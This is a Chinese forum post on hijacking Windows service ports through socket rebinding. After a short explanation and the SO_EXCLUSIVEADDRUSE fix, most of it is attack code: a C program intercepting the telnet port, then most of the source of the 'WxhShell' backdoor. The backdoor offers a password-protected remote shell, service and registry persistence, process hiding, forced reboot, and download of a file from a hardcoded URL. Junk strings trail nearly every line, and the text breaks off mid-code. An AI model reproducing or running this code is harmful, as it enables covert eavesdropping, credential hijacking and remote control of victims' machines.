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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~ eNKu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ] 6Y6q])Z  
8kdJ;%^N  
  saddr.sin_family = AF_INET; g9~QNA  
!l9i)6W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5,_DM  
.n\j<Kq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  K P@bz  
S7B\m v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '_q&~M{  
tUGnp'r  
  这意味着什么?意味着可以进行如下的攻击: N({0"7  
qtR/K=^i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sgLw,WZ:  
/OD@Xl];K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '"m-kor  
Q30TR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~'#yH#o  
aG&t gD{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mI> =S  
2}uSrA7n]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -|DBO0q  
1j_ 6Sw(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $Wn!vbL  
0/5{v6_rG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #O1%k;BL  
o_C]O"  
  #include itmFZZh  
  #include 2cQG2N2*  
  #include fB= j51Lw  
  #include    ;9;jUQ]MyG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v"YaMbu  
  int main() K+<F, P  
  { -|2k$W  
  WORD wVersionRequested; LjySO2  
  DWORD ret; 4N(iow4  
  WSADATA wsaData; exxH0^  
  BOOL val; =))VxuoN  
  SOCKADDR_IN saddr; je;|zfe]  
  SOCKADDR_IN scaddr; G'T: l("l  
  int err; P,<pG[^K  
  SOCKET s; LEd@""h  
  SOCKET sc; [:MFx6  
  int caddsize; ;;  ?OS  
  HANDLE mt; sTmdoqTK!  
  DWORD tid;   PiJ >gDx  
  wVersionRequested = MAKEWORD( 2, 2 ); r7+Ytr  
  err = WSAStartup( wVersionRequested, &wsaData ); 9jI5bi)  
  if ( err != 0 ) { HhB&vi  
  printf("error!WSAStartup failed!\n"); R4%}IT^%P  
  return -1; D[0g0>K  
  } !BDJU  
  saddr.sin_family = AF_INET; =X3Rk)2r  
   UT%?3}*u"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]sD lZJX<M  
|xFSGrC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wBz5_ OFVw  
  saddr.sin_port = htons(23); rm%MQmF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QV>hQ]L  
  { ,CIsZ1[VS  
  printf("error!socket failed!\n"); [5-3PuT&9  
  return -1; TFO4jjiC"  
  } h\/T b8  
  val = TRUE; %\B@!4]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ldWrv7. P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) om{aws;  
  { i:2e J.  
  printf("error!setsockopt failed!\n"); '_ l5Br73=  
  return -1; UIo jXR<  
  } IoCi(N;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,&LGAa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RYV:?=D7s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ei!Yxw8d  
Q\ pI\]p:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _ q^JjR  
  { lbm ,#  
  ret=GetLastError(); g|<$ \}  
  printf("error!bind failed!\n"); <KrfM  
  return -1; HFW8x9Cc  
  } g]9A?#GyE  
  listen(s,2); ;v m$F251  
  while(1) ^q\9HBHT  
  { QFU1l"(qGk  
  caddsize = sizeof(scaddr); h 6juX'V  
  //接受连接请求 z+]YB5zK%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K9c5HuGy  
  if(sc!=INVALID_SOCKET) w0,rFWS  
  { !h>aP4ofT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]dL#k>$0q  
  if(mt==NULL) I*0TI@Lo  
  { XX'mM v  
  printf("Thread Creat Failed!\n"); %<h+_(\h  
  break; GTke<R  
  } 3jjV bm  
  } ZoR6f\2M  
  CloseHandle(mt); wL[{6wL  
  } DLO2$d  
  closesocket(s); FD/=uIXH2  
  WSACleanup(); b<j*;n.  
  return 0; a+<{!+3v  
  }   88Vl1d&b  
  DWORD WINAPI ClientThread(LPVOID lpParam) ),XDY_9K  
  { 95sK;`rE+  
  SOCKET ss = (SOCKET)lpParam; '?1g_C QsS  
  SOCKET sc; B-h@\y  
  unsigned char buf[4096]; Bdm05}c@u  
  SOCKADDR_IN saddr; v.F|8 cG  
  long num; A`*Sx"~jdx  
  DWORD val; UZ!It>  
  DWORD ret; "EnxVV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T@d4NF#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U% OlYP$g  
  saddr.sin_family = AF_INET; @s0mX3P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |xrnLdng0R  
  saddr.sin_port = htons(23); 9>;CvR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) } wx(P3BHD  
  { `Dp4Z>| K  
  printf("error!socket failed!\n"); Nb)Mh  
  return -1; 9]:F!d/  
  } }O2P>Z?V  
  val = 100; +@~e9ZG%a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]j]<CqG  
  { u24XuSe$  
  ret = GetLastError(); rq:sy=;  
  return -1; K;]Dh?  
  } xW58B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m,&2s-v  
  { (#+81 Dr  
  ret = GetLastError(); -`5L;cxwk4  
  return -1; %2'Y@AX`  
  } i:H]Sb)<b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 37 *2/N2  
  { =]o2{d  
  printf("error!socket connect failed!\n"); tv5N wM  
  closesocket(sc); a\KM^jrCD  
  closesocket(ss); #wJ^:r-c`  
  return -1; S$/SFB$)~W  
  } [XkWPx`  
  while(1) 8:K_S a%  
  { H ahA} Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B5[As8Sa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DPfN*a-P(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VH] <o0  
  num = recv(ss,buf,4096,0); r(<91~Ww  
  if(num>0) K6,d{n  
  send(sc,buf,num,0); f'Rq#b@  
  else if(num==0) Gz2\&rmN  
  break; zUWeOR'X  
  num = recv(sc,buf,4096,0); HC"yC;_  
  if(num>0) <ka zV<"  
  send(ss,buf,num,0); K{XE|g  
  else if(num==0) NKRm#  
  break; QN#tj$x  
  } ek d[|g  
  closesocket(ss); 10tTV3`IM  
  closesocket(sc); sHQO*[[  
  return 0 ; )Jh:~9L%='  
  } Q)5V3Q]@^  
(W#^-*$R  
()<?^lr33  
========================================================== \ *A!@T  
eL [.;_  
下边附上一个代码,,WXhSHELL ~6{U^3  
g|j15&x  
========================================================== {uxTgX  
Dy{lgT0k  
#include "stdafx.h" f,Am;:\ |  
$Qxy@vU  
#include <stdio.h> eKRE1DK  
#include <string.h> 0XI6gPo%  
#include <windows.h> wWM[Hus  
#include <winsock2.h> Rpj{!Ia  
#include <winsvc.h> FJFO0Hb6  
#include <urlmon.h> E0.o/3Gw6  
SQ<{X/5  
#pragma comment (lib, "Ws2_32.lib") 3;AJp_;  
#pragma comment (lib, "urlmon.lib") '_ys4hz}  
s%G%s,d  
#define MAX_USER   100 // 最大客户端连接数 ~VV$wU!A  
#define BUF_SOCK   200 // sock buffer Nnfq!%   
#define KEY_BUFF   255 // 输入 buffer p[}~Z|(  
2"WP>>b80  
#define REBOOT     0   // 重启 wM}AWmH  
#define SHUTDOWN   1   // 关机 .etG>tH  
N;4wbUPL7h  
#define DEF_PORT   5000 // 监听端口 +K ,T^<F;  
H(Y1%@  
#define REG_LEN     16   // 注册表键长度 -op)X>  
#define SVC_LEN     80   // NT服务名长度 u1>WG?/`  
Lz!H@)-mr  
// 从dll定义API 7c8`D;A-K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1?G%&X@ X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x+v&3YF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w%(D4ldp   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &AVX03P  
R0K{wY58  
// wxhshell配置信息 z'\BZ5riX<  
struct WSCFG { kV4L4yE  
  int ws_port;         // 监听端口 h-U]?De5\  
  char ws_passstr[REG_LEN]; // 口令 <YrsS-9  
  int ws_autoins;       // 安装标记, 1=yes 0=no O\h%ZLjfO  
  char ws_regname[REG_LEN]; // 注册表键名 H|/"'t OZ  
  char ws_svcname[REG_LEN]; // 服务名 *\*]:BIe&v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +jO#?J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V(Cxd.u   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >)k[085t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g"`jWSt7Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i O$ ?No  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s.a@uR^  
]C{N4Ni^Z  
}; <- R%  
7| `_5e  
// default Wxhshell configuration t{`uN  
struct WSCFG wscfg={DEF_PORT, N|8^S  
    "xuhuanlingzhe", SJE!14|e  
    1, "V5_B^Gzb]  
    "Wxhshell", "![KQ  
    "Wxhshell", 99n;%W>  
            "WxhShell Service", b#n  
    "Wrsky Windows CmdShell Service", u++a0>N  
    "Please Input Your Password: ", [ Scao $  
  1, )ri'W <l  
  "http://www.wrsky.com/wxhshell.exe", MfA%Xep  
  "Wxhshell.exe" j`_Z`eG  
    }; J3'0^JP*  
)-1$y+s>  
// 消息定义模块 |=W>4>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X.rbJyKe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1+l[P9?R[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m-q O yt  
char *msg_ws_ext="\n\rExit."; UM'JK#P"  
char *msg_ws_end="\n\rQuit."; MW0CqMi]T  
char *msg_ws_boot="\n\rReboot..."; nVGOhYn  
char *msg_ws_poff="\n\rShutdown..."; 9~ifST \  
char *msg_ws_down="\n\rSave to "; dhuIVBp!!e  
MN>U jFA  
char *msg_ws_err="\n\rErr!"; luz,z( v  
char *msg_ws_ok="\n\rOK!"; ^SS9BQ*m  
}~#qDrK  
char ExeFile[MAX_PATH]; 2XeNE[  
int nUser = 0; sEx\7tK  
HANDLE handles[MAX_USER]; 1+-F3ROP  
int OsIsNt; `$/M\aM%  
0JhUncx  
SERVICE_STATUS       serviceStatus; vY,]f^F"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l_(4CimOZ  
QFhQfn  
// 函数声明 n>%TIoY  
int Install(void); Z3iX^  
int Uninstall(void); /jOug>s  
int DownloadFile(char *sURL, SOCKET wsh); u#Uc6? E  
int Boot(int flag); 11JO[  
void HideProc(void); 1$"wN z  
int GetOsVer(void); IZ]L.0,  
int Wxhshell(SOCKET wsl); `=8G?3  
void TalkWithClient(void *cs); u?8e>a  
int CmdShell(SOCKET sock); Q\$cBSJC1  
int StartFromService(void); VF9-&HuC  
int StartWxhshell(LPSTR lpCmdLine); >Wj8[9zf  
uL@'Hv A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n\YWWW[wf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p*=9Ea:  
oc&yz>%q  
// 数据结构和表定义 `Y7&}/OM  
SERVICE_TABLE_ENTRY DispatchTable[] = glWa?#1  
{ iS28p  
{wscfg.ws_svcname, NTServiceMain}, B 6,X)  
{NULL, NULL} y#e<]5I  
}; .fS1  
fOO[`"'Pq  
// 自我安装 1Q9e S&  
int Install(void) $ZE"o`=7  
{ I4 4bm?[S  
  char svExeFile[MAX_PATH]; FDRpK 5cw  
  HKEY key; mg4: N  
  strcpy(svExeFile,ExeFile); HLDg_ On8  
`LVX|l62  
// 如果是win9x系统,修改注册表设为自启动 iI%"]- 0@1  
if(!OsIsNt) { O7T wM Yh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RIxGwMi%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Dy/-%Ut9  
  RegCloseKey(key); )`]} D[j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^'aMp}3iu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?gOZY\[ma  
  RegCloseKey(key); <rFY$ ?x  
  return 0; _ ;_NM5  
    } _&6&sp<n  
  } X2p9KC  
} K3^N_^H  
else { kculHIa\.  
t5pf4M7  
// 如果是NT以上系统,安装为系统服务 rF5O?<(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lTpmoDa%  
if (schSCManager!=0) 9l :Bum)9  
{ Y: XxTa*  
  SC_HANDLE schService = CreateService U GJ# "9  
  ( ?yt"  
  schSCManager, #~^Y2-C#  
  wscfg.ws_svcname, 3pKr {U92  
  wscfg.ws_svcdisp, hE>i~:~R  
  SERVICE_ALL_ACCESS, \[w82%U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,-*oc>  
  SERVICE_AUTO_START, we&g9j'  
  SERVICE_ERROR_NORMAL, nAJ<@a  
  svExeFile, &Rx-zp&dJ  
  NULL, SD^6ib/]b  
  NULL, /a$RJ6t&3  
  NULL, G6(U\VFqO  
  NULL, [/ E_v gZ  
  NULL 9RoN,e8!  
  ); +[ 944n  
  if (schService!=0) L.z`>1  
  { \{G1d"n  
  CloseServiceHandle(schService); 5M2G ;o  
  CloseServiceHandle(schSCManager); Svo gvn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3%<xM/#  
  strcat(svExeFile,wscfg.ws_svcname); cM;& $IjCt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }pa@qZXh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )MZQ\8,)]  
  RegCloseKey(key); xhIC["z5  
  return 0; 8ctUK|  
    } 0 ej!!WP  
  } el*C8TWlw  
  CloseServiceHandle(schSCManager); GyOo$FW  
} d aIt `}s  
} 4#Fz!Km  
gNO<`9q  
return 1; mT8($KQ  
} V11Zl{uOl  
>*v^E9Y  
// 自我卸载 eXI^9uH  
int Uninstall(void) D^Bd>Ey4  
{ >uuP@j  
  HKEY key; sV/#P<9  
=3J &UQL  
if(!OsIsNt) { tdn[]|=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >`a)gky%~  
  RegDeleteValue(key,wscfg.ws_regname); Oc;0*v[I  
  RegCloseKey(key); gd6We)&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z6 v RTY  
  RegDeleteValue(key,wscfg.ws_regname); K4i#:7r'b  
  RegCloseKey(key); C G~ )`  
  return 0; >8~+[e  
  } `J^J_s  
} 1o7 pMp=  
} !Re/W ykY  
else {  s%Q pb{  
C26PQGo#$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MEbx{XC  
if (schSCManager!=0) )]}G8A  
{ y1{TVpN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6VUs:iO1j5  
  if (schService!=0) r7)qr%n  
  { 3r VfBz  
  if(DeleteService(schService)!=0) { H;nEU@>"Z  
  CloseServiceHandle(schService); L4DT*(;!E  
  CloseServiceHandle(schSCManager); !"2S'oQKS  
  return 0; za%gD  
  } l1bkhA b  
  CloseServiceHandle(schService); acrR  
  } ]d67 HOyK  
  CloseServiceHandle(schSCManager); GO?hB4 9T  
} 3CzF@t;5  
} ?g\emhG  
NSa6\.W)  
return 1; #x qiGK  
} aFaioE#h(  
%afN&T  
// 从指定url下载文件 e2e!"kEF  
int DownloadFile(char *sURL, SOCKET wsh) @Jx1n Q^  
{ )I#{\^  
  HRESULT hr; fat;5XL@  
char seps[]= "/"; @U3:9~Q  
char *token; }DQTy.d;P  
char *file; Ur]/kij  
char myURL[MAX_PATH]; l A%FS]vh  
char myFILE[MAX_PATH]; 2X<%BFsE  
c/Fgx/hr  
strcpy(myURL,sURL); "OwK-  
  token=strtok(myURL,seps); B0U(B\~Y  
  while(token!=NULL) PB *v45  
  { tLi91)oG  
    file=token; jST4O"DjM  
  token=strtok(NULL,seps); RL:B.Lv/W  
  } I_5/e> 9  
EK= y!>  
GetCurrentDirectory(MAX_PATH,myFILE); MVnN0K4  
strcat(myFILE, "\\"); CuD}Uo+u  
strcat(myFILE, file); GeDI\-  
  send(wsh,myFILE,strlen(myFILE),0); ,{mv6?_  
send(wsh,"...",3,0); XUzOt_L5<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @I}VD\pF  
  if(hr==S_OK) XmD(&3;v-  
return 0; HMC-^4\%[  
else Unv'm5/L  
return 1; 5x%Blkx  
RyP MzxV  
} `LNhamp  
}tw+8YWkz  
// 系统电源模块 5RvE ),  
int Boot(int flag) :_y!p  
{ 'da 'WZG  
  HANDLE hToken; xL1Li]fM!'  
  TOKEN_PRIVILEGES tkp; =Q{?!  
.b+ix=:  
  if(OsIsNt) { ]/kpEx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x&*f5Y9hCi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `<yQ`Y_X  
    tkp.PrivilegeCount = 1; 6F!B*lr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $,2T~1tE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ZO! (  
if(flag==REBOOT) { f+Acs*. GQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P woiX#vz  
  return 0; $:%E<j 4Dn  
} EwX&Cj".  
else { c\2rKqFD8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MW6z&+Z  
  return 0; 2?GMKd)  
} &}[P{53sr  
  } Vn4wk>b}$2  
  else { | bz%SB  
if(flag==REBOOT) { >9rZV NMU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B Z|A&;  
  return 0; Fu_I0z  
} -z~!%4 a  
else { <|4$T H^ t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T"[]'|'  
  return 0; E Izy  
} K\rQb  
} kFwFPK%B  
_yv#v_Z  
return 1; q50F!yHC-  
} 0mujf  
@wgd 3BU  
// win9x进程隐藏模块 Si>38vCJ*  
void HideProc(void) 7bzm5w@v  
{ Fs(PVN  
x_nwD"   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "0PrdZMx  
  if ( hKernel != NULL ) WHY/x /$  
  { :.,9}\LK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); teg5g|*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3$nK   
    FreeLibrary(hKernel); cdt9hH`Cd  
  } PlGif)  
D#b*M)X"  
return; Sl G v  
} 8u+kA mI  
+gX,r$bX  
// 获取操作系统版本 $] We|  
int GetOsVer(void) ,r~+ 9i0N  
{ e{5?+6KH  
  OSVERSIONINFO winfo; +-^>B%/&Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T+v*@#iJ_  
  GetVersionEx(&winfo); vd4@jZ5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tp] 5[U  
  return 1; TlS? S+  
  else 1.cP3k l  
  return 0; `F7]M  
} '`P%;/z  
N&NBn(  
// 客户端句柄模块 ,x8;| o5  
int Wxhshell(SOCKET wsl) bQt:=>  
{ ?{S>%P A_B  
  SOCKET wsh; OoSk^U)  
  struct sockaddr_in client; \X8b!41  
  DWORD myID; :5NMgR.d  
4!/JN J  
  while(nUser<MAX_USER) lGd'_~'=  
{ xol%\$|  
  int nSize=sizeof(client); +.V+@!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z qeQ  
  if(wsh==INVALID_SOCKET) return 1; 86r"hy~  
>!=@TK(~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {]HiTpn  
if(handles[nUser]==0) n%&L&G  
  closesocket(wsh); RV~fml9c  
else ?F"o+]i+^  
  nUser++; Hf`i~6  
  } 1B~O!']N<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iHD!v7d7  
^[?y 2A:  
  return 0; 9F/I",EA  
} d&#_t@%  
u&:N`f  
// 关闭 socket GE/!$3  
void CloseIt(SOCKET wsh) <Ua~+U(FR0  
{ y]j.PT`Cw  
closesocket(wsh); 9{u8fDm!  
nUser--; VE )D4RL  
ExitThread(0); 54_}9_g  
} P@7>R7gS  
(T%F^s5D  
// 客户端请求句柄 *g(d}C!  
void TalkWithClient(void *cs) Rt8[P6e"q  
{ {iD/0q  
jx}&%p X  
  SOCKET wsh=(SOCKET)cs; *S;}&VAZ  
  char pwd[SVC_LEN]; AFAg3/  
  char cmd[KEY_BUFF]; B7 %,D}  
char chr[1]; mfr aw2H  
int i,j; r[L.TX3Ah=  
>XgoN\w  
  while (nUser < MAX_USER) { =g#PP@X]D!  
fd)8lK[KJ"  
if(wscfg.ws_passstr) { =6sP`:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A({czHLhN5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t ed:]  
  //ZeroMemory(pwd,KEY_BUFF); !l'nX  
      i=0; ,+i^]yF3j  
  while(i<SVC_LEN) { -h8mJ D%Oi  
fk}Raej g  
  // 设置超时 QytO0K5  
  fd_set FdRead; :DH@zR  
  struct timeval TimeOut; Hca(2 ]T-  
  FD_ZERO(&FdRead); AH,?B*zGj  
  FD_SET(wsh,&FdRead); +wQ5m8E  
  TimeOut.tv_sec=8; i@/%E~W  
  TimeOut.tv_usec=0; JQ+Mg&&Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5H._Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]D6<6OB  
}w f8y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  U#f*  
  pwd=chr[0]; .\ bJ,of9  
  if(chr[0]==0xd || chr[0]==0xa) { ZRhk2DA#FF  
  pwd=0; {tVA(&\<  
  break; v8-szW).  
  } r,eH7&P9{  
  i++; i?_Q@uA~<:  
    } RrLiH>  
h x^@aI  
  // 如果是非法用户,关闭 socket " lD -*e4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); za6 hyd^  
} u&y> '  
51}C`j|V3{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0+0 Y$;<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [CHN3&l-5S  
-Ua5anzB  
while(1) { IiKU =^~w  
y1`%3\  
  ZeroMemory(cmd,KEY_BUFF); ccv  
,$]m1|t@z  
      // 自动支持客户端 telnet标准   ['(qeS@5O  
  j=0; xgOt%7sb  
  while(j<KEY_BUFF) { &'\-M6GW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pTAm}  
  cmd[j]=chr[0]; qLBQ!>lR  
  if(chr[0]==0xa || chr[0]==0xd) { (ht"wY#T<(  
  cmd[j]=0; # wn>S<  
  break; G>dXK,f<B0  
  } 5P*jGOg.  
  j++; D[T\_3 W  
    } HmXxM:[4;  
;180ct4  
  // 下载文件 &*Z)[Bl  
  if(strstr(cmd,"http://")) { QKk7"2t|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8U#14U5rS  
  if(DownloadFile(cmd,wsh)) KjA7x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z'AjeZyyE  
  else a;i} <n7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +o.#']}Pl  
  } i [/1AI  
  else { y=GDuU%  
+MS*YpPW  
    switch(cmd[0]) { }m!T~XR</  
  rl"yE=  
  // 帮助 :>y5'q@R  
  case '?': { Lxa<zy~b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3&X5*-U  
    break; }Ej^"T:H_;  
  } jJ>I*'w  
  // 安装 V2Z^W^  
  case 'i': { DUf . F  
    if(Install()) F0xm% ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &WbHM)_n  
    else @M*5q# s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k%RQf0`T  
    break; m,J9:S<5;  
    } Y Odwd}M  
  // 卸载 5IG#-Q(6sp  
  case 'r': { t-FrF</ 0  
    if(Uninstall()) K>+c2;t;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 RyvPP  
    else !;PKx]/&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xt*h2&  
    break; Yu%ZwTvw  
    } Oi!uJofW  
  // 显示 wxhshell 所在路径 4m9]d)  
  case 'p': { ECOzquvM  
    char svExeFile[MAX_PATH]; k1^&;}/f:  
    strcpy(svExeFile,"\n\r"); BfvvJh_  
      strcat(svExeFile,ExeFile); g<4@5OQKu  
        send(wsh,svExeFile,strlen(svExeFile),0); 62OZj%CXN  
    break; |A u+^#:;  
    } "CQ:<$|$  
  // 重启 "qY_O/Eg]]  
  case 'b': { 1`&"U[{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cr{f*U6`  
    if(Boot(REBOOT)) A3e83g~L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~p/1 9/  
    else { 4q^'MZm1  
    closesocket(wsh); z!\)sL/"  
    ExitThread(0); &FzZpH  
    } Pu|3_3^  
    break; %wux#"8  
    } ~d6zpQf7>  
  // 关机 Oc?]L&ap  
  case 'd': { 7pz #%Hf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [Gb8o'  
    if(Boot(SHUTDOWN)) d#3E'8  
